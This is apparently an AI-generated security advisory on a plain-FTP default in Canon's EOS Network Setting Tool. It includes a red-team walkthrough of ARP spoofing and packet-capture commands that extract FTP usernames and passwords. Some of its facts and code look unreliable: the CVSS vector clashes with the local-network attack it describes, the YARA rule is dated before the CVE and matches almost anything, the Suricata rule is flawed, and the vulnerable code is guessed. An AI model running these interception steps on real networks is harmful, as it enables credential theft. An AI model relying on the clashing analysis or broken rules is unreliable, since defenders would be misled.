CVE-2026-9262

Executive Summary

CVE-2026-9262 identifies a critical security flaw in Canon's EOS Network Setting Tool, version 1.5.0 and earlier. The vulnerability stems from the default configuration of the FTP service, which uses a non-secure protocol (plain FTP) instead of a secure alternative like FTPS (FTP over SSL/TLS). This misconfiguration exposes network credentials and file transfers to interception via Man-in-the-Middle (MitM) attacks. With a CVSS score of 6.5 (Medium), the vulnerability is exploitable over the network without authentication, posing a significant risk to confidentiality in environments where the tool is deployed. No public proof-of-concept (PoC) or patch details are currently available, but the risk is elevated due to the widespread use of Canon EOS cameras in professional and enterprise settings.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – FTP credentials and transferred files can be fully exposed.
• Integrity (I): None – No data modification is possible.
• Availability (A): None – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, network-based) and the potential for credential theft make this a high-priority issue for organizations using Canon EOS cameras in networked workflows.

Deep Dive & Mechanics

The Canon EOS Network Setting Tool is a utility used to configure network settings on Canon EOS cameras, including FTP upload of images. The vulnerability lies in the default FTP configuration, which uses plain FTP (port 21) without encryption. This means:

• Credential Exposure: When the tool connects to an FTP server, the username and password are transmitted in cleartext.
• Data Interception: Any files transferred (e.g., images) are sent unencrypted and can be captured by an attacker on the same network.
• MitM Attack Vector: An attacker on the local network can perform ARP spoofing or DNS poisoning to intercept traffic between the tool and the FTP server.

The root cause is a design flaw: the tool does not enforce or default to FTPS (FTP over SSL/TLS) or SFTP (SSH File Transfer Protocol). The vendor (Canon) has not yet released a patch, leaving users to manually configure secure protocols if supported.

Vulnerable vs. Patched Code

Since no patch is available, the comparison is between the vulnerable default configuration and a secure configuration.

Vulnerable Configuration (Default):

Protocol: FTP
Port: 21
Encryption: None
Authentication: Plaintext

Secure Configuration (Manual Workaround):

Protocol: FTPS (explicit or implicit)
Port: 990 (implicit) or 21 (explicit with AUTH TLS)
Encryption: SSL/TLS
Authentication: Encrypted

Code Snippet (Conceptual): The vulnerable tool likely uses a library like ftplib in Python or WinINet in C++ without enabling SSL. A secure implementation would require:

# Vulnerable
from ftplib import FTP
ftp = FTP('server.com')
ftp.login(user='admin', passwd='secret')

# Patched (using FTPS)
from ftplib import FTP_TLS
ftps = FTP_TLS('server.com')
ftps.login(user='admin', passwd='secret')
ftps.prot_p()  # Set data channel encryption

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Attacker: Kali Linux with Wireshark and Ettercap.
• Victim: Windows machine running Canon EOS Network Setting Tool v1.5.0.
• Target: FTP server (e.g., vsftpd on Ubuntu).

Steps:

1. Network Reconnaissance: Use Nmap to discover the victim and FTP server.

   nmap -sS -p 21,990 192.168.1.0/24
   

2. ARP Spoofing: Redirect traffic between the victim and FTP server.

   echo 1 > /proc/sys/net/ipv4/ip_forward
   arpspoof -i eth0 -t 192.168.1.10 192.168.1.20
   arpspoof -i eth0 -t 192.168.1.20 192.168.1.10
   

3. Traffic Capture: Use Wireshark to capture FTP traffic.

   tshark -i eth0 -f "port 21" -w ftp_capture.pcap
   

4. Credential Extraction: Analyze the capture for FTP credentials.

   tshark -r ftp_capture.pcap -Y "ftp.request.command == USER or ftp.request.command == PASS" -T fields -e ftp.request.command -e ftp.request.arg
   

Expected Output:

USER    admin
PASS    secret123

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for plain FTP traffic (port 21) from Canon EOS Network Setting Tool.
• Alert on ARP spoofing or DNS poisoning attempts.
• Enforce FTPS or SFTP in network policies.

Honeypot Setup: Deploy a fake FTP server to capture attacker activity.

# Using pyftpdlib with logging
python3 -m pyftpdlib -p 21 -w -u admin -P secret123

Indicators of Compromise (IOCs)

• Network IOCs:

  • Plain FTP traffic (port 21) from Canon EOS Network Setting Tool.
  • ARP cache poisoning (multiple MAC addresses for the same IP).
  • Unencrypted FTP credentials in packet captures.

• File IOCs:

  • Logs showing FTP connections without TLS handshake.
  • Configuration files with protocol=FTP instead of protocol=FTPS.

• Behavioral IOCs:

  • Unexpected FTP connections to external servers.
  • Repeated failed FTP login attempts (if attacker brute-forces).

Detection Engineering

YARA Rule

rule Canon_EOS_FTP_Default_Config {
    meta:
        description = "Detects default FTP configuration in Canon EOS Network Setting Tool"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-9262"
    strings:
        $ftp_config = "FTP" nocase
        $port_21 = "21" nocase
        $no_encrypt = "none" nocase
    condition:
        all of them
}

Sigma Rule

title: Canon EOS Network Setting Tool Plain FTP Traffic
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects plain FTP traffic from Canon EOS Network Setting Tool
author: Valters IT
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 21
        Image|endswith: 'EOSNetworkSettingTool.exe'
    condition: selection
falsepositives:
    - Legitimate FTP usage with encryption (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 21 (msg:"CVE-2026-9262 Canon EOS FTP Default Config"; flow:to_server; content:"USER"; nocase; content:"PASS"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Configuration: If the tool supports FTPS, change the protocol from FTP to FTPS in the settings.
2. Network Segmentation: Isolate the camera network from untrusted networks.
3. Firewall Rules: Block outbound port 21 traffic from camera workstations unless encrypted.

Long-Term Fix:

• Canon must release a patch that defaults to FTPS or SFTP.
• Until then, use a VPN or SSH tunnel for FTP traffic.

Workaround:

• Use a proxy that upgrades FTP to FTPS (e.g., stunnel).

  stunnel -c -d 127.0.0.1:21 -r ftps_server:990
  

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is for authorized security testing and defense only.